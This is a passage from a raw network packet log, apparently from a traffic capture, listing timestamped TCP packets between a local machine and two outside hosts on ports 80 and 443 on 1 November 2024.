Nov 1, 2024 05:02:23.195554972 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.195609093 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.195619106 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.195650101 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.195732117 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.195744991 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.195756912 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.195770025 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.195791006 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.200220108 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200273037 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.200282097 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200294971 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200320959 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.200350046 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.200366974 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200443029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200453997 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200464964 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.200611115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200623035 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200633049 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200639009 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.200644016 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200647116 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.200671911 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.200700045 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.200833082 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200871944 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.200898886 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.200936079 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.240155935 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.240210056 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.240212917 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.240221024 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.240245104 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.240251064 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.240278006 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.242957115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243000031 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243021965 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243033886 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243055105 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243073940 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243098974 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243148088 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243186951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243197918 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243242979 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243269920 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243280888 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243305922 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243335009 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243391037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243458986 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243510008 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243571043 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243577003 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243587971 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243613005 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243638992 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243839979 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243879080 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243899107 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243910074 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.243937016 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.243946075 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.244026899 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.244066000 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.244083881 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.244097948 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.244103909 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.244187117 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.269012928 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.269027948 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.269040108 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.269069910 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.269125938 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.269134998 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.269171000 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.269171953 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.269176006 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.269212961 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274050951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274101973 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274112940 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274125099 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274151087 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274163008 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274292946 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274305105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274343967 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274344921 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274426937 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274437904 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274461985 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274471998 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274570942 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274629116 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274635077 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274658918 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274765015 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274776936 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274790049 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.274804115 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274827957 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.274979115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275019884 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.275053024 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275093079 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.275156021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275167942 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275192976 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.275203943 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.275255919 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275295019 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.275361061 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275372028 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275401115 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.275415897 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.275573015 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275583982 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275595903 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275607109 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.275608063 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275618076 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.275638103 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.275857925 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.275897980 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.312381029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.312431097 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.312433004 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.312443018 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.312480927 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.312540054 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.312589884 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.312628984 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.312640905 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.312664986 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.312684059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.312730074 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.312784910 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.312841892 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.312854052 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.312885046 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.312910080 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.313038111 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.313093901 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317245960 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317286015 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317320108 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317329884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317356110 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317383051 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317393064 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317404985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317421913 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317430973 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317439079 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317461967 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317631006 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317687988 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317691088 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317708015 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317725897 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317740917 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317811966 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317823887 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317837000 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.317853928 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.317878008 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.318059921 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.318099976 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.318114996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.318125963 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.318151951 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.318161964 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.357286930 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.357299089 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.357343912 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.357362032 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.357371092 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.357417107 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.357417107 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360239983 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360284090 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360297918 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360347033 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360351086 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360358953 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360383987 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360399008 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360513926 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360527039 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360557079 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360570908 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360691071 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360702991 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360713005 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360723972 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360727072 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360745907 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360771894 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360882044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360915899 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360949039 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360958099 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.360981941 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.360996008 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.361026049 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.361037016 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.361064911 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.361157894 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.361167908 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.361196995 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.374003887 CET	59849	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:23.374030113 CET	443	59849	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:23.374110937 CET	59849	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:23.374433994 CET	59849	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:23.374445915 CET	443	59849	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:23.386013031 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.386039019 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.386051893 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.386080027 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.386110067 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.386132002 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.386173964 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.386217117 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.386228085 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.386260986 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391129017 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391179085 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391186953 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391194105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391227007 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391287088 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391299009 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391338110 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391338110 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391396046 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391434908 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391488075 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391518116 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391525984 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391530037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391554117 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391567945 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391628027 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391664982 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391776085 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391810894 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391828060 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391861916 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391923904 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391949892 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.391962051 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.391990900 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392064095 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392102003 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392138004 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392178059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392277956 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392314911 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392337084 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392374992 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392378092 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392415047 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392510891 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392549992 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392560959 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392594099 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392632008 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392680883 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392718077 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392729044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392752886 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392766953 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.392821074 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.392858982 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.429621935 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.429656029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.429675102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.429687023 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.429699898 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.429727077 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.429769993 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.429795027 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.429832935 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.429910898 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.429923058 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.429961920 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.429961920 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434262991 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434287071 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434299946 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434324026 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434335947 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434346914 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434408903 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434422016 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434432030 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434453011 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434465885 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434602976 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434640884 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434680939 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434694052 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434720993 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434730053 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434797049 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434842110 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434919119 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.434957027 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.434990883 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.435003996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.435034037 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.435142994 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.435163021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.435175896 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.435178041 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.435224056 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.437079906 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.474548101 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.474579096 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.474596024 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.474596024 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.474631071 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.474646091 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.477087021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.477133989 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.477168083 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.477184057 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.477210045 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.477214098 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.477229118 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.477242947 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.477247000 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.477299929 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:23.477446079 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:23.477462053 CET	80	59845	185.215.113.16	192.168.2.5
